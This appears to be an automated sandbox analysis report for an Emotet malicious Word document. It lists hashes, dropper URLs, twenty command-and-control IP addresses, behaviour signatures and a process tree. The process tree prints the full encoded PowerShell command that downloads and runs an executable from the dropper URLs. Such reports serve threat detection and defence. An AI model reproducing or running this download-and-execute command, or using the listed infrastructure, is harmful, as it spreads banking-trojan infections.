Overview

overview

10

Static

static

8

emotet_e2_...oc.doc

windows7_x64

10

emotet_e2_...oc.doc

windows10_x64

10

Analysis

  • max time kernel
    59s
  • max time network
    148s
  • platform
    windows7_x64
  • resource
    win7
  • submitted
    14/08/2020, 11:05

Sharing

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General

  • Target
    emotet_e2_443bc7ea2da243b9cbee67539dc163b1f99967ac38471bc13aea2e25944a8d22_2020-08-14__110233._doc.doc
  • Size 233KB
  • Sample200814-e2zf8pxem2
  • SHA256 443bc7ea2da243b9cbee67539dc163b1f99967ac38471bc13aea2e25944a8d22
  • MD5 SHA1 SHA512
Score
10/10
trojanbankeremotet

Malware Config

Extracted

Language

  • ps1

Source
URLs
  • exe.dropper

    http://synologlogin.com/cgi-bin/ho_iewdm_x99w/
  • exe.dropper

    http://tz005.com/aspnet_client/system_web/upao5_p_i/
  • exe.dropper

    http://nucleokardecistalace.org.br/wp-includes/hnor_qz_n66fskbujg/
  • exe.dropper

    http://m.hepingzyy120.com/mbsz/tg_h9_9tkc5xa2/
  • exe.dropper

    http://identisoft.pt/istore/xz_nf_fql8v7nx/

Extracted

Family

  • emotet

C2

  • 24.233.112.152:80

  • 69.30.203.214:8080

  • 192.210.135.126:8080

  • 47.144.21.12:443

  • 157.245.99.39:8080

  • 119.198.40.179:80

  • 62.75.141.82:80

  • 181.211.11.242:80

  • 167.86.90.214:8080

  • 95.213.236.64:8080

  • 87.106.139.101:8080

  • 109.74.5.95:8080

  • 142.105.151.124:443

  • 47.146.117.214:80

  • 185.94.252.104:443

  • 2.58.16.85:7080

  • 222.214.218.37:4143

  • 85.105.205.77:8080

  • 190.160.53.126:80

  • 107.185.211.16:80

rsa_pubkey.plain

Signatures

  • Emotet

    Emotet is a trojan that is primarily spread through spam emails.

    trojanbankeremotet
  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Emotet Payload 4 IoCs

    Detects Emotet payload in memory.

  • Blacklisted process makes network request 1 IoCs
  • Executes dropped EXE 2 IoCs
  • Drops file in System32 directory 2 IoCs
  • Office loads VBA resources, possible macro or embedded object present
  • Modifies registry class 280 IoCs
  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 4 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of SetWindowsHookEx 6 IoCs
  • Suspicious use of WriteProcessMemory 8 IoCs

Processes

  • C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
    "C:\Program Files\Microsoft Office\Office14\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\emotet_e2_443bc7ea2da243b9cbee67539dc163b1f99967ac38471bc13aea2e25944a8d22_2020-08-14__110233._doc.doc"
    1⤵
    • Modifies registry class
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of SetWindowsHookEx
    PID:1448
  • C:\Windows\System32\WindowsPowerShell\v1.0\powersheLL.exe
    powersheLL -e JABSAGIAegBoAHgAZQB4AD0AJwBOAHkAOQAzADAANABoACcAOwBbAE4AZQB0AC4AUwBlAHIAdgBpAGMAZQBQAG8AaQBuAHQATQBhAG4AYQBnAGUAcgBdADoAOgAiAHMAZQBgAEMAVQByAGkAVABZAGAAcAByAE8AdABPAGMAYABvAGwAIgAgAD0AIAAnAHQAbABzADEAMgAsACAAdABsAHMAMQAxACwAIAB0AGwAcwAnADsAJABUAHUAbAB6AGMAeQB4ACAAPQAgACcAWgB3AHoAbQAnADsAJABSAHUAdgBhADIAXwBoAD0AJwBOAHgAcABsAG8AdwB3ACcAOwAkAFkAbgA4AGEAYQB2AG8APQAkAGUAbgB2ADoAdABlAG0AcAArACcAXAAnACsAJABUAHUAbAB6AGMAeQB4ACsAJwAuAGUAeABlACcAOwAkAEMAdAAzADUAMgBfAHIAPQAnAFEAdwAwADkAbgBtADQAJwA7ACQAVAB4AG8AcAB2AHYAdQA9ACYAKAAnAG4AJwArACcAZQAnACsAJwB3AC0AbwBiAGoAZQBjAHQAJwApACAAbgBFAFQALgB3AEUAQgBjAEwAaQBlAG4AdAA7ACQAUABmADgAMAB1ADUAbQA9ACcAaAB0AHQAcAA6AC8ALwBzAHkAbgBvAGwAbwBnAGwAbwBnAGkAbgAuAGMAbwBtAC8AYwBnAGkALQBiAGkAbgAvAGgAbwBfAGkAZQB3AGQAbQBfAHgAOQA5AHcALwAqAGgAdAB0AHAAOgAvAC8AdAB6ADAAMAA1AC4AYwBvAG0ALwBhAHMAcABuAGUAdABfAGMAbABpAGUAbgB0AC8AcwB5AHMAdABlAG0AXwB3AGUAYgAvAHUAcABhAG8ANQBfAHAAXwBpAC8AKgBoAHQAdABwADoALwAvAG4AdQBjAGwAZQBvAGsAYQByAGQAZQBjAGkAcwB0AGEAbABhAGMAZQAuAG8AcgBnAC4AYgByAC8AdwBwAC0AaQBuAGMAbAB1AGQAZQBzAC8AaABuAG8AcgBfAHEAegBfAG4ANgA2AGYAcwBrAGIAdQBqAGcALwAqAGgAdAB0AHAAOgAvAC8AbQAuAGgAZQBwAGkAbgBnAHoAeQB5ADEAMgAwAC4AYwBvAG0ALwBtAGIAcwB6AC8AdABnAF8AaAA5AF8AOQB0AGsAYwA1AHgAYQAyAC8AKgBoAHQAdABwADoALwAvAGkAZABlAG4AdABpAHMAbwBmAHQALgBwAHQALwBpAHMAdABvAHIAZQAvAHgAegBfAG4AZgBfAGYAcQBsADgAdgA3AG4AeAAvACcALgAiAHMAUABMAGAASQB0ACIAKABbAGMAaABhAHIAXQA0ADIAKQA7ACQARgBxAGMAZQByAHoAcgA9ACcAWQB5AG8AOABpAHgAbwAnADsAZgBvAHIAZQBhAGMAaAAoACQAWgBiAG0AagAwADMAMgAgAGkAbgAgACQAUABmADgAMAB1ADUAbQApAHsAdAByAHkAewAkAFQAeABvAHAAdgB2AHUALgAiAEQAYABvAHcAbgBsAGAAbwBBAEQAZgBgAEkAbABlACIAKAAkAFoAYgBtAGoAMAAzADIALAAgACQAWQBuADgAYQBhAHYAbwApADsAJABGAGsAOABtAGgAeQBxAD0AJwBDAGoAbwBlAGIAagB4ACcAOwBJAGYAIAAoACgAJgAoACcARwAnACsAJwBlACcAKwAnAHQALQBJAHQAZQBtACcAKQAgACQAWQBuADgAYQBhAHYAbwApAC4AIgBMAGUATgBHAGAAVABIACIAIAAtAGcAZQAgADIAMwA0ADMANAApACAAewAuACgAJwBJAG4AdgBvAGsAZQAtAEkAJwArACcAdABlACcAKwAnAG0AJwApACgAJABZAG4AOABhAGEAdgBvACkAOwAkAEkAZQAwAHUAcgBxAG8APQAnAEQAOABkAHYAdgBkAF8AJwA7AGIAcgBlAGEAawA7ACQAUQAyAGMAcQBxADgAdQA9ACcASgBiAGgAbABtAHYAeQAnAH0AfQBjAGEAdABjAGgAewB9AH0AJABGAGIAOAB0AHEANAAxAD0AJwBOAGsAYgAyAG4AZABzACcA
    1⤵
    • Process spawned unexpected child process
    • Blacklisted process makes network request
    • Drops file in System32 directory
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of WriteProcessMemory
    PID:1820
    • C:\Users\Admin\AppData\Local\Temp\Zwzm.exe
      "C:\Users\Admin\AppData\Local\Temp\Zwzm.exe"
      2⤵
      • Executes dropped EXE
      • Drops file in System32 directory
      • Suspicious use of SetWindowsHookEx
      • Suspicious use of WriteProcessMemory
      PID:1784
      • C:\Windows\SysWOW64\convert\ARP.exe
        "C:\Windows\SysWOW64\convert\ARP.exe"
        3⤵
        • Executes dropped EXE
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of SetWindowsHookEx
        PID:1588

Network

        MITRE ATT&CK Matrix

        Replay Monitor

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        Downloads

        memory/1448-7-0x0000000007010000-0x0000000007210000-memory.dmp
        Download

        memory/1448-5-0x000000000ABB0000-0x000000000ABB4000-memory.dmp
        Download

        memory/1448-2-0x0000000008A40000-0x0000000008A44000-memory.dmp
        Download

        memory/1448-6-0x000000000C030000-0x000000000C034000-memory.dmp
        Download

        memory/1448-3-0x0000000007010000-0x0000000007210000-memory.dmp
        Download

        memory/1448-13-0x0000000002180000-0x0000000002181000-memory.dmp
        Download

        memory/1448-4-0x0000000007010000-0x0000000007210000-memory.dmp
        Download

        memory/1548-23-0x000007FEF27B0000-0x000007FEF2A2A000-memory.dmp
        Download

        memory/1588-22-0x00000000001E0000-0x00000000001EC000-memory.dmp
        Download

        memory/1784-18-0x00000000002E0000-0x00000000002EC000-memory.dmp
        Download

        memory/1820-10-0x000000001AAC0000-0x000000001AAC1000-memory.dmp
        Download

        memory/1820-15-0x000000001C580000-0x000000001C581000-memory.dmp
        Download

        memory/1820-14-0x000000001C3B0000-0x000000001C3B1000-memory.dmp
        Download

        memory/1820-12-0x0000000002330000-0x0000000002331000-memory.dmp
        Download

        memory/1820-11-0x0000000002450000-0x0000000002451000-memory.dmp
        Download

        memory/1820-9-0x0000000002200000-0x0000000002201000-memory.dmp
        Download

        memory/1820-8-0x000007FEF2090000-0x000007FEF2A7C000-memory.dmp
        Download